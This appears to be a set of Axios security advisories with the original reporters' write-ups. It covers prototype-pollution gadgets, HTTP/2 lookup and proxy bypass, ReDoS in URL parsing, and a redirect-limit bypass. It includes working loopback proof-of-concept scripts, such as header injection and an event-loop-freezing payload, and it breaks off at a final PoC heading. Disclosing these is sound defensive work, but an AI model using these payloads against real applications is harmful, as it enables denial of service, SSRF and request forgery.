js Object.prototype.method = "DELETE";
While that pollution is active, the script sends five Axios requests:
js axios.request({ url }); // expected vulnerable path axios({ url }); // expected vulnerable shorthand path axios.get(url); // expected safe alias path axios.request({ url, method: "GET" }); // expected safe explicit-method path axios.create().request({ url }); // expected safe isolated-instance path
The script then deletes the polluted property:
js delete Object.prototype.method;
Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends DELETE for axios.request({ url }) and axios({ url }), while the safe comparison paths still send GET.
Method Override PoC
Create validate-prototype-method-gadget.mjs:
js import http from "node:http"; import axios from "axios";
async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; }
async function runRequest(label, requestFn) { const hits = []; const server = http.createServer((req, res) => { hits.push({ method: req.method, url: req.url, }); res.writeHead(200, { "content-type": "application/json" }); res.end(JSON.stringify({ ok: true })); });
const port = await listen(server); const url = http://127.0.0.1:${port}/${label};
let status = "completed"; let error = ""; try { await requestFn(url); } catch (err) { status = "error"; error = err?.message || String(err); }
server.close(); return { label, status, error, hits }; }
const results = [];
Object.prototype.method = "DELETE"; try { results.push(await runRequest("default-request-no-method", (url) => axios.request({ url }))); results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url }))); results.push(await runRequest("default-get-alias", (url) => axios.get(url))); results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));
const instance = axios.create(); results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url }))); } finally { delete Object.prototype.method; }
const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || ""; const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || ""; const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || ""; const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || ""; const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";
console.log(axiosVersion=${axios.VERSION}); console.log(results=${JSON.stringify(results)}); console.log(defaultRequestMethod=${defaultRequestMethod}); console.log(defaultShorthandMethod=${defaultShorthandMethod}); console.log(getAliasMethod=${getAliasMethod}); console.log(explicitGetMethod=${explicitGetMethod}); console.log(createdInstanceMethod=${createdInstanceMethod});
const confirmed = defaultRequestMethod === "DELETE" && defaultShorthandMethod === "DELETE" && getAliasMethod === "GET" && explicitGetMethod === "GET" && createdInstanceMethod === "GET";
console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED"); process.exitCode = confirmed ? 0 : 1;
Run:
powershell node validate-prototype-method-gadget.mjs
Observed result:
text axiosVersion=1.17.0 defaultRequestMethod=DELETE defaultShorthandMethod=DELETE getAliasMethod=GET explicitGetMethod=GET createdInstanceMethod=GET RESULT: CONFIRMED
The local server received:
text axios.request({ url }) -> DELETE axios({ url }) -> DELETE axios.get(url) -> GET axios.request({ url, method:"GET" }) -> GET axios.create().request({ url }) -> GET
This confirms that inherited Object.prototype.method controls the default method for vulnerable default-instance request paths.
Supporting allowAbsoluteUrls Gadget Evidence
The same inherited-property issue affects allowAbsoluteUrls.
Create validate-prototype-allowabsoluteurls-gadget.mjs:
js import http from "node:http"; import axios from "axios";
async function listen(server) { await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve)); return server.address().port; }
async function runCase(label, requestFn) { const baseHits = []; const absoluteHits = [];
const baseServer = http.createServer((req, res) => { baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("base"); });
const absoluteServer = http.createServer((req, res) => { absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" }); res.end("absolute"); });
const basePort = await listen(baseServer); const absolutePort = await listen(absoluteServer);
try { await requestFn({ baseURL: http://127.0.0.1:${basePort}/api, url: http://127.0.0.1:${absolutePort}/absolute-path, }); } catch {}
baseServer.close(); absoluteServer.close();
return { label, baseHits, absoluteHits }; }
const results = [];
results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));
Object.prototype.allowAbsoluteUrls = false; try { results.push(await runCase("polluted-default-request", (config) => axios.request(config))); const instance = axios.create(); results.push(await runCase("polluted-created-instance", (config) => instance.request(config))); } finally { delete Object.prototype.allowAbsoluteUrls; }
console.log(axiosVersion=${axios.VERSION}); console.log(results=${JSON.stringify(results)});
Observed result:
text axiosVersion=1.17.0 baselineUsedAbsolute=true pollutedDefaultUsedBase=true pollutedInstanceUsedAbsolute=true RESULT: CONFIRMED
Without pollution, Axios sends the request to the absolute URL. After Object.prototype.allowAbsoluteUrls = false, the default Axios instance combines the absolute URL with baseURL and sends the request to the base server instead. An instance created with axios.create() remains unaffected.
Impact
This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on Object.prototype in the same Node.js process.
If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:
- axios.request({ url }) - axios({ url })
This can turn an expected safe default GET request into a state-changing method such as:
- DELETE - POST - PUT - PATCH
Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.
The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as axios.get(), or isolated instances created through axios.create() are not affected by the confirmed method-override path. </details>
---
Summary
Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.
Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.
Impact
An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.
Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.
Affected Functionality
Affected:
- Fetch adapter requests. - resolveConfig() handling of utils.isFormData(data). - Request bodies that can be spoofed as FormData through inherited Symbol.toStringTag, append, and getHeaders.
Not affected:
- Node HTTP adapter's later FormData header path, which checks data.getHeaders !== Object.prototype.getHeaders. - Plain object request bodies rejected by current isFormData() plain-object guard. - Processes without prototype pollution.
Technical Details
lib/helpers/resolveConfig.js currently contains:
js if (utils.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) { headers.setContentType(undefined); } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); } }
Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.
Proof of Concept of Attack
Constrained local demonstration:
js Object.prototype[Symbol.toStringTag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });
await axios.post(url, ['a', 'b'], { adapter: 'fetch' });
Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.
Workarounds
Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.
<details> <summary><h3>Original report</h3></summary> Summary
The Node HTTP adapter contains a guard that prevents Object.prototype.getHeaders from being used as a FormData header source. The shared resolveConfig() helper does not have the same guard. The fetch adapter calls resolveConfig(), so it can still merge headers returned by inherited data.getHeaders().
This is a patch mismatch for the FormData prototype-pollution header-injection class.
Affected Version
Validated on:
- axios: 1.17.0 - commit: 4306df2 - runtime: Node.js v24.15.0
Preconditions
- Application uses adapter: 'fetch'. - A separate prototype-pollution primitive can write: - Object.prototype[Symbol.toStringTag] = 'FormData' - Object.prototype.append = function () {} - Object.prototype.getHeaders = function () { ... } - The request body is an array or custom class instance. Plain objects are blocked by the current isFormData() plain-object guard.
Root Cause
lib/adapters/http.js contains:
js data.getHeaders !== Object.prototype.getHeaders
But lib/helpers/resolveConfig.js only checks:
js } else if (utils.isFunction(data.getHeaders)) { setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy')); }
The fetch adapter calls resolveConfig(config) before dispatching the request.
Impact
An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.
Proof of Concept
js import axios from './index.js'; import http from 'http';
const start = (handler) => new Promise((resolve) => { const server = http.createServer((req, res) => { let body = ''; req.on('data', (chunk) => (body += chunk)); req.on('end', () => handler(req, res, body)); }); server.listen(0, '127.0.0.1', () => resolve(server)); });
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = []; const tag = Symbol.toStringTag;
const server = await start((req, res, body) => { hits.push({ headers: req.headers, body }); res.setHeader('Content-Type', 'application/json'); res.end('{"ok":true}'); });
try { Object.prototype[tag] = 'FormData'; Object.prototype.append = function () {}; Object.prototype.getHeaders = () => { const headers = Object.create(null); headers['X-Poisoned'] = 'yes'; return headers; };
await axios.post(http://127.0.0.1:${server.address().port}/fetch-formdata, ['a', 'b'], { adapter: 'fetch', timeout: 3000 });
console.log(hits[0]); } finally { delete Object.prototype[tag]; delete Object.prototype.append; delete Object.prototype.getHeaders; await stop(server); }
Observed wire request:
json { "headers": { "x-poisoned": "yes", "content-type": "text/plain;charset=UTF-8", "content-length": "3" }, "body": "a,b" }
References
- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9 - https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9 - Related patch area: lib/adapters/http.js, lib/helpers/resolveConfig.js </details>
---
Summary
Axios for Node.js does not apply configured DNS lookup or proxy controls when a request uses httpVersion: 2. The HTTP/1 adapter path wraps and forwards config.lookup, builds normal request options, and applies proxy routing through setProxy(). The HTTP/2 path builds a session with http2.connect() using only options.http2Options, which drops the top-level lookup, agent, and proxy state.
Applications are affected when they allow a user to influence request destinations, enable axios HTTP/2, and rely on axios lookup or proxy routing to prevent SSRF or enforce outbound network policy.
Impact
In affected server-side deployments, an attacker can cause axios to connect directly to destinations that the configured resolver or proxy would have rejected. Depending on reachable services, this can expose cloud metadata, internal service responses, or allow state-changing requests to internal systems.
This is not an unconditional SSRF in every axios deployment. It requires httpVersion: 2 and an application-level trust boundary where user-influenced URLs are constrained by lookup or proxy policy.
Affected Functionality
Affected:
- Node.js HTTP adapter with httpVersion: 2. - config.lookup supplied as a DNS policy. - Explicit config.proxy and environment-derived proxy settings for HTTPS HTTP/2 requests.
Not affected:
- Browser adapters. - Node HTTP/1 requests, which pass lookup to the transport and apply proxy handling. - Applications that validate destination hosts independently before calling axios.
Technical Details
In lib/adapters/http.js, the adapter reads lookup, wraps it, stores it on the request options, and applies setProxy() before selecting a transport. For HTTP/2, http2Transport.request() builds an authority from options.protocol, options.hostname, and options.port, then calls:
js const { http2Options, headers } = options; const session = http2Sessions.getSession(authority, http2Options);
lib/helpers/Http2Sessions.js ultimately calls http2.connect(authority, options) with only the http2Options object. The configured DNS lookup and the proxy or tunneling agent installed on the top-level request options are not forwarded into that call.
Local verification on axios 1.18.1 showed lookupCalls: 0 while an HTTP/2 request to a local h2 origin succeeded. A second local HTTPS h2 verification with an explicit rejecting HTTP proxy showed the origin received the request and the proxy observed no traffic.
Proof of Concept of Attack
Local constrained demonstration:
1. Start an HTTP/2 server on loopback. 2. Call axios.get("http://localhost:<port>/internal", { httpVersion: 2, lookup }) where lookup throws EPOLICY. 3. Observe that the request succeeds and the lookup counter remains 0.
For proxy routing:
1. Start an HTTPS HTTP/2 origin and a local HTTP proxy that rejects every request and CONNECT. 2. Call axios with httpVersion: 2, http2Options: { rejectUnauthorized: false }, and explicit proxy. 3. Observe that the origin receives the request and the proxy receives nothing.
Expected safe behavior is that either the lookup policy blocks the request or the proxy observes and rejects the request.
Workarounds
Use the HTTP/1 adapter path for requests that depend on axios lookup or proxy controls. Alternatively, enforce destination allow/deny policy before calling axios, outside the adapter transport path.
<details> <summary><h3>Original report</h3></summary> ### Summary
I found that Axios does not apply the configured lookup function or proxy when a request uses httpVersion: 2. The HTTP/1 adapter applies both controls, but the HTTP/2 path connects straight to the URL's hostname using http2.connect().
This matters for server applications that accept a user-influenced URL and use a custom DNS lookup or mandatory outbound proxy to prevent SSRF. Switching the Axios instance to HTTP/2 silently removes those controls, allowing the request to reach an address the application intended to block.
I reproduced this on the current npm release, Axios 1.18.1.
Details
The HTTP adapter reads and wraps the caller's lookup function, builds the normal request options, and calls setProxy():
- lib/adapters/http.js, around lines 530-578: reads and wraps lookup - lib/adapters/http.js, around lines 895-954: adds lookup to options and applies setProxy()
For HTTP/2, however, the adapter selects http2Transport. That transport creates an authority from the destination and only passes options.http2Options to the session pool:
js const { http2Options, headers } = options; const session = http2Sessions.getSession(authority, http2Options);
lib/helpers/Http2Sessions.js then calls:
js const session = http2.connect(authority, options);
At this point options is only the http2Options object. The top-level lookup, the proxy tunnelling agent created by setProxy(), and the selected httpAgent/httpsAgent are not forwarded. The request therefore uses the system resolver and opens a direct connection to the origin.
The same root cause affects both explicit proxy configuration and environment-derived proxy configuration. I kept the PoC local and used an explicit proxy so the result does not depend on shell environment variables.
PoC
I attached axioshttp2transportcontrolspoc.mjs. The PoC is entirely local and sets up three pieces:
1. An HTTPS origin with HTTP/2 enabled. If reached, it records the request and returns REACHEDBLOCKEDORIGIN. 2. An HTTP proxy that records traffic but rejects every normal request and every CONNECT request with 502 Bad Gateway. 3. A custom Axios lookup callback that rejects every DNS lookup with an EPOLICY error.
The first request is an HTTP/1 control request. It uses the blocking lookup callback and has proxying disabled. Axios calls the callback, receives EPOLICY, and does not reach the origin. This confirms that the callback works and that the hostname is blocked through the normal adapter path.
The second request targets the same URL with httpVersion: 2. It is given both security controls: the same blocking lookup callback and the rejecting proxy. If Axios honors either one, this request cannot reach the origin. It should fail with EPOLICY, or it should reach the proxy and receive its 502 response.
Instead, the request returns HTTP 200 with REACHEDBLOCKEDORIGIN. The lookup counter does not increase, and the proxy records no request or CONNECT attempt. The origin is the only server that records traffic. This shows that the HTTP/2 path skipped both controls and connected directly using the system resolver.
To reproduce, run the attachment from the root of an Axios checkout:
Run it from the root of an Axios checkout:
bash git checkout v1.18.1 npm install --ignore-scripts node /path/to/axioshttp2transportcontrolspoc.mjs
Relevant output from my run:
json { "axiosVersion": "1.18.1", "configuredControls": { "lookup": "reject every DNS lookup with EPOLICY", "proxy": "http://127.0.0.1:<port> (reject every request)" }, "http1Control": "EPOLICY: blocked by application DNS policy", "http2Result": { "status": 200, "data": "REACHEDBLOCKEDORIGIN" }, "lookupCalls": 1, "proxyObservedTraffic": false, "events": [ { "server": "origin", "protocol": "h2", "path": "/internal" } ] }
The important parts of the output are:
- http1Control contains EPOLICY, proving the DNS policy blocks the destination under HTTP/1. - lookupCalls is still 1 after both requests, proving HTTP/2 never called the configured resolver. - proxyObservedTraffic is false, proving HTTP/2 did not use the configured proxy. - http2Result.status is 200, and the sole event belongs to the origin, proving Axios connected directly to the blocked destination.
Impact
The vulnerable configuration is a Node.js application that:
- enables Axios HTTP/2 using httpVersion: 2; - lets an application user influence the request destination; and - relies on Axios's lookup option or proxy routing to enforce a destination or egress policy.
In that setup, an unauthenticated application user may be able to make the server connect directly to loopback, private-network, or link-local services that the lookup policy or proxy would have rejected. Depending on the reachable service, this can expose cloud credentials or internal data, modify internal services, or affect availability.
HTTP/2 support is marked experimental, but neither the HTTP/2 documentation nor the proxy documentation says that lookup and proxy controls are ignored. The proxy documentation states that HTTPS requests are sent through a CONNECT tunnel. More importantly, Axios's threat model tells callers that destination validation is their responsibility; this behavior silently bypasses such caller-supplied validation.
I did not test against any third-party or production service. The PoC only uses listeners on my own machine. </details>
---
Summary
Axios for Node.js parses data: URLs in lib/helpers/fromDataURI.js. The current RFC-2397 parser uses a regular expression whose media type groups allow / inside both sides of the type/subtype match. A malformed data: URL containing many slashes and no comma forces the JavaScript regex engine to try many possible placements for the separator before failing.
Applications are affected when they pass untrusted URL strings to axios and do not reject or constrain data: URLs before axios parses them.
Impact
An attacker can make the Node.js event loop spend significant synchronous CPU time parsing a single malformed URL. In a server that accepts a URL from an HTTP request and calls axios.get(url), this can block unrelated requests and health checks until parsing completes.
The issue is availability-only. It does not disclose data or modify requests.
Affected Functionality
Affected:
- Node.js HTTP adapter data URL handling. - axios.get() or equivalent calls where config.url has the data: protocol.
Not affected:
- Browser fetch/XHR URL handling. - Node requests where the application rejects data: URLs before calling axios. - Older checked 0.x data URL parser shape unless separately proven vulnerable.
Technical Details
lib/helpers/fromDataURI.js contains:
js const DATAURLPATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+))(;base64)?,([\s\S])$/;
The [^,;]+ groups include /, so a long string of slashes without a comma can be partitioned around the required \/ in many ways before the match fails. The match runs before axios can apply request timeout behavior, so timeout does not mitigate the parsing pause.
Local timing on axios 1.18.1 with small payloads showed about 2.4 ms at 1000 slashes, 16.6 ms at 3000 slashes, and 71.5 ms at 6000 slashes, consistent with the submitted quadratic scaling while avoiding long-running payloads.
Proof of Concept of Attack
Constrained helper-level demonstration:
js import axios from 'axios';
await axios.get('data:' + '/'.repeat(6000));
The request fails after parsing, but the failure is delayed by synchronous regex work. Larger payloads increase the pause substantially.
Workarounds
Reject data: URLs before passing untrusted input to axios, or enforce a strict maximum URL length for URL-fetching endpoints. Applications that do not need data: URL support should deny that protocol explicitly.
<details> <summary><h3>Original report</h3></summary> ReDoS in fromDataURI data: URL parser freezes the event loop (DoS)
Affected - Package: axios (Node.js http adapter) - Versions: 1.x (regex present on v1.x, current release line) - File: lib/helpers/fromDataURI.js - CWE-1333 (Inefficient Regular Expression Complexity)
Issue fromDataURI parses data: URLs with this regex:
js // lib/helpers/fromDataURI.js:9 const DATAURLPATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+))(;base64)?,([\s\S])$/;
The mediatype tokens [^,;]+ include /, so they can span multiple slashes ambiguously. A data: URL made of many slashes with no comma forces the engine to try every way to place the single \/ divider before failing — quadratic O(n²) backtracking. It runs synchronously on the main thread, so the whole Node event loop is frozen for the entire parse. Reachable through the public API on the Node http adapter (axios.get(url)); the browser fetch/xhr adapters are not affected because they do not call fromDataURI.
A configured timeout does not help: the freeze happens during parsing, before any network timer can fire.
PoC (minimal) js import axios from 'axios'; // ~256 KB data: URL of pure slashes, no comma await axios.get('data:' + '/'.repeat(262139)); // blocks the event loop ~6 min, then throws
Lab results Single-threaded "fetch a user-supplied URL" service (link-preview style) calling axios.get on a JSON body { "url": "..." }, with timeout: 1000 set.
Scaling is clean O(n²) (constant k ≈ 5.6e-6 ms/byte², stable across sizes):
| data: URL size | Event-loop freeze (one request) | | --- | --- | | 32 KB | 6.3 s (measured end-to-end; server logged event loop BLOCKED for 6.30s) | | 64 KB | ~24 s | | 128 KB | ~96 s | | 256 KB | ~385 s (~6.4 min) | | 1 MB | ~100 min |
During the freeze the server answers nothing: a /healthz liveness probe times out for the whole window, and the server's own event-loop monitor cannot even log until the parse finishes. In a run through an intercepting proxy, the proxy hit its 120 s upstream timeout and gave up, while the origin stayed pegged at 100% CPU on one core past that — client/proxy timeouts do not mitigate it.
The attacker controls only the URL string and needs no auth. ~256 KB every ~6 min (≈ 0.7 bytes/sec) keeps a server permanently unavailable.
Impact Unauthenticated remote denial of service. One small request takes a Node service fully offline for minutes; a trickle keeps it down indefinitely. CVSS 3.1: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
Fix RFC 2045 type/subtype tokens never contain /. Excluding / from those two character classes removes the ambiguity and the backtracking:
js const DATAURLPATTERN = /^([^,;/]+\/[^,;/]+)?((?:;[^,;=]+=[^,;]+))(;base64)?,([\s\S])$/;
Worst-case parse drops from ~2600 ms to ~0.002 ms. All valid data: URLs, including slashes in the body, parse identically. </details>
---
Summary
Axios shouldBypassProxy() normalizes hostnames with hostname.replace(/\.+$/, ''). For a hostname shaped as many dots followed by a non-dot, the anchored regex can perform quadratic backtracking. Because axios re-evaluates proxy bypass rules for redirected requests, a malicious server can trigger this synchronous work through a crafted redirect Location.
The issue affects Node.js applications that use environment proxy variables with NOPROXY and allow redirects.
Impact
An attacker-controlled server can return a redirect whose hostname causes the axios process to spend significant CPU time in synchronous hostname normalization. During this time, the Node.js event loop is blocked and the application cannot handle other work on that thread.
This is an availability-only issue. It does not disclose request data or modify requests.
Affected Functionality
Affected:
- Node.js HTTP adapter. - Environment proxy handling through HTTPPROXY or HTTPSPROXY. - NOPROXY or noproxy set to a non-empty value. - Redirects followed by axios or follow-redirects.
Not affected:
- Browser adapters. - Requests with proxy: false. - Requests with no NOPROXY value. - Requests with maxRedirects: 0, unless application code manually follows the malicious redirect and re-enters axios.
Technical Details
lib/helpers/shouldBypassProxy.js contains:
js return unmapIPv4MappedIPv6(hostname.replace(/\.+$/, ''));
When the hostname is "." n + "a", the $ anchor causes the regex engine to retry the dot run from many positions before it fails. setProxy() invokes shouldBypassProxy(location) after getProxyForUrl(location) returns a proxy, including on redirect hops via beforeRedirects.proxy.
Local timing on axios 1.18.1 showed increasing cost for crafted hostnames: about 1 ms at 1000 dots, 6.9 ms at 3000 dots, and 34.5 ms at 6000 dots. The growth is consistent with the submitted quadratic claim while avoiding long-running payloads.
Proof of Concept of Attack
Constrained helper-level demonstration:
js import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
process.env.NOPROXY = 'example.com'; shouldBypassProxy('http://' + '.'.repeat(6000) + 'a/');
In the full adapter path, a malicious server can return that hostname in a 302 Location header while the client has proxy environment variables and NOPROXY configured.
Workarounds
Disable automatic redirects for requests to untrusted servers, or avoid environment proxy handling for those requests with proxy: false when appropriate. Operators can also avoid broad untrusted redirect-following in services where event-loop availability is critical.
<details> <summary><h3>Original report</h3></summary> Summary
shouldBypassProxy normalizes a host with hostname.replace(/\.+$/, ''). On a host of the shape <many dots><non-dot> (e.g. "." × 40000 + "a"), this anchored regex backtracks quadratically (O(N²)), synchronously starving the Node.js event loop. Because axios re-evaluates the proxy on every redirect using the new Location host, a malicious server can return a crafted 302 Location and freeze the client's event loop for seconds per redirect — a denial of service.
Details
- Affected code: lib/helpers/shouldBypassProxy.js → normalizeNoProxyHost: hostname.replace(/\.+$/, '') (one pass in 1.18.1). The open PR #11029 adds a second /\.+$/ pass in normalizeIPAddress, doubling the cost (not the origin). - Root cause: /\.+$/ is O(N²) on a long run of dots that is not at the end of the string — the $ anchor forces the engine to backtrack the entire dot-run from every start position. - Trust boundary (per THREATMODEL): the redirect Location is untrusted (T-2: "axios to network … redirect Location … untrusted"). The caller requests a benign URL; the malicious host arrives via the server's 302. This is not the T-1 caller-supplied-URL non-goal. - Call chain: setProxy(options, configProxy, location, isRedirect, …) (lib/adapters/http.js) → env-proxy branch → getProxyForUrl(location) returns a proxy → if (!shouldBypassProxy(location)) → normalizeNoProxyHost(parsed.hostname.toLowerCase()) runs /\.+$/. setProxy is re-invoked on the redirect hop with the untrusted Location; new URL() retains the long dot-run in .hostname. - Preconditions: proxy configured via environment (HTTPPROXY/HTTPSPROXY, trusted per THREATMODEL T-3, common in CI/containers/enterprise) + NOPROXY set + redirects followed (default maxRedirects: 5).
PoC
Self-contained, no network — imports axios's own helper: // node poc.mjs (run next to an axios install) import sbp from './nodemodules/axios/lib/helpers/shouldBypassProxy.js'; process.env.NOPROXY = 'example.com'; for (const n of [5000, 10000, 20000, 40000]) { const url = 'http://' + '.'.repeat(n) + 'a/'; // arrives as an untrusted 302 Location host const t0 = process.hrtime.bigint(); sbp(url); // returns false (correct no-bypass) — but O(N^2) slow console.log(N=${n}: ${(Number(process.hrtime.bigint()-t0)/1e6)|0} ms); } // Measured on 1.18.1: N=5000 ~43ms, 10000 ~160ms, 20000 ~618ms, 40000 ~2499ms; benign host ~0.05ms. Driven through the real http-adapter setProxy on the redirect path (setProxy(…, isRedirect=true)), a 10 ms timer fires 0 times during the ~2.4 s block at N=40000 — full event-loop starvation.
Impact
Denial of service (event-loop starvation) on any axios client that uses an environment proxy with NOPROXY set and follows redirects, when a server it contacts returns a crafted redirect Location. No data exposure or RCE. Same impact class as the accepted DoS advisories GHSA-62hf-57xw-28j9 (toFormData recursion) and the maxContentLength response-size DoS.
Suggested fix
Replace the regex trailing-dot strip with a linear trim: let end = hostname.length; while (end > 0 && hostname.charCodeAt(end - 1) === 46 / '.' /) end--; hostname = hostname.slice(0, end); Also drop the redundant second /\.+$/ pass in PR #11029's normalizeIPAddress. </details>
---
Summary
Axios fetch adapter requests can be altered by inherited properties on fetchOptions. The adapter resolves method, headers, body, signal, and credentials into resolvedOptions, creates a Request, and then calls fetch(request, fetchOptions) instead of fetch(request, resolvedOptions). In runtimes such as Node's undici-backed fetch, inherited fetchOptions.headers can override the headers already placed on the Request.
Axios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution.
Impact
An attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.
The issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests.
Affected Functionality
Affected:
- adapter: 'fetch'. - Runtime environments where the fetch adapter is selected. - Requests where fetchOptions is an object that does not have safe own values for sensitive fetch init fields.
Not affected:
- Node HTTP adapter. - Requests that do not use the fetch adapter. - Processes where Object.prototype is not polluted.
Technical Details
lib/adapters/fetch.js builds:
js const resolvedOptions = { ...fetchOptions, signal: composedSignal, method: method.toUpperCase(), headers: toByteStringHeaderObject(headers.normalize()), body: data, duplex: 'half', credentials: isCredentialsSupported ? withCredentials : undefined, };
request = isRequestSupported && new Request(url, resolvedOptions);
let response = await (isRequestSupported ? fetch(request, fetchOptions) : fetch(url, resolvedOptions));
The fallback path without Request uses resolvedOptions, but the Request path passes the original fetchOptions as the second argument to fetch(). That second argument can contain inherited properties from Object.prototype.
Local verification on axios 1.18.1 set Object.prototype.headers = { Authorization: 'Bearer POLLUTED' } and called the fetch adapter with headers: { 'X-Good': 'yes' }, fetchOptions: {}. The loopback server received Authorization: Bearer POLLUTED and did not receive X-Good.
Proof of Concept of Attack
Constrained local demonstration:
js Object.prototype.headers = { Authorization: 'Bearer POLLUTED' }; try { await axios.get(url, { adapter: 'fetch', headers: { 'X-Good': 'yes' }, fetchOptions: {} }); } finally { delete Object.prototype.headers; }
Expected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead.
Workarounds
Use the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty fetchOptions objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields.
<details> <summary><h3>Original report</h3></summary> Hello, I’m not completely sure if this is something you’d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case.
I was testing the fetch adapter with polluted prototype values and found that Object.prototype.headers can change the request axios sends.
The issue seems to be in lib/adapters/fetch.js. Axios creates a Request with the resolved headers/method/body, but then sends it with fetch(request, fetchOptions). With undici, if fetchOptions doesn’t have its own headers, an inherited Object.prototype.headers value can be used during the final fetch call.
I tested it with this:
js import http from 'node:http'; import axios from 'axios';
const server = http.createServer((req, res) => { res.end(JSON.stringify({ authorization: req.headers.authorization || null, xGood: req.headers['x-good'] || null })); });
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); const { port } = server.address();
Object.prototype.headers = { Authorization: 'Bearer POLLUTED' };
try { const res = await axios.get(http://127.0.0.1:${port}/, { adapter: 'fetch', headers: { 'X-Good': 'yes' }, fetchOptions: {} });
console.log(res.data); } finally { delete Object.prototype.headers; server.close(); }
The result I get is:
json { "authorization": "Bearer POLLUTED", "xGood": null }
So the polluted Authorization header is sent, and the normal axios header is not.
Changing the fetch call to pass the already resolved options fixes it for me:
diff - fetch(request, fetchOptions) + fetch(request, resolvedOptions)
resolvedOptions already includes ...fetchOptions, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values. </details>
---
Summary
Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.
Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.
Impact
An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.
This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.
Affected Functionality
Affected:
- adapter: 'fetch'. - Runtime environments where fetch is selected by adapter resolution. - Requests configured with maxRedirects: 0 but without fetchOptions.redirect: 'manual' or equivalent runtime-specific redirect control.
Not affected:
- Node HTTP adapter, which enforces maxRedirects: 0. - Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.
Technical Details
lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:
js const resolvedOptions = { ...fetchOptions, signal: composedSignal, method: method.toUpperCase(), headers: toByteStringHeaderObject(headers.normalize()), body: data, duplex: 'half', credentials: isCredentialsSupported ? withCredentials : undefined, };
Because redirect is absent, the Fetch API default is to follow redirects.
Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.
Proof of Concept of Attack
Constrained local demonstration:
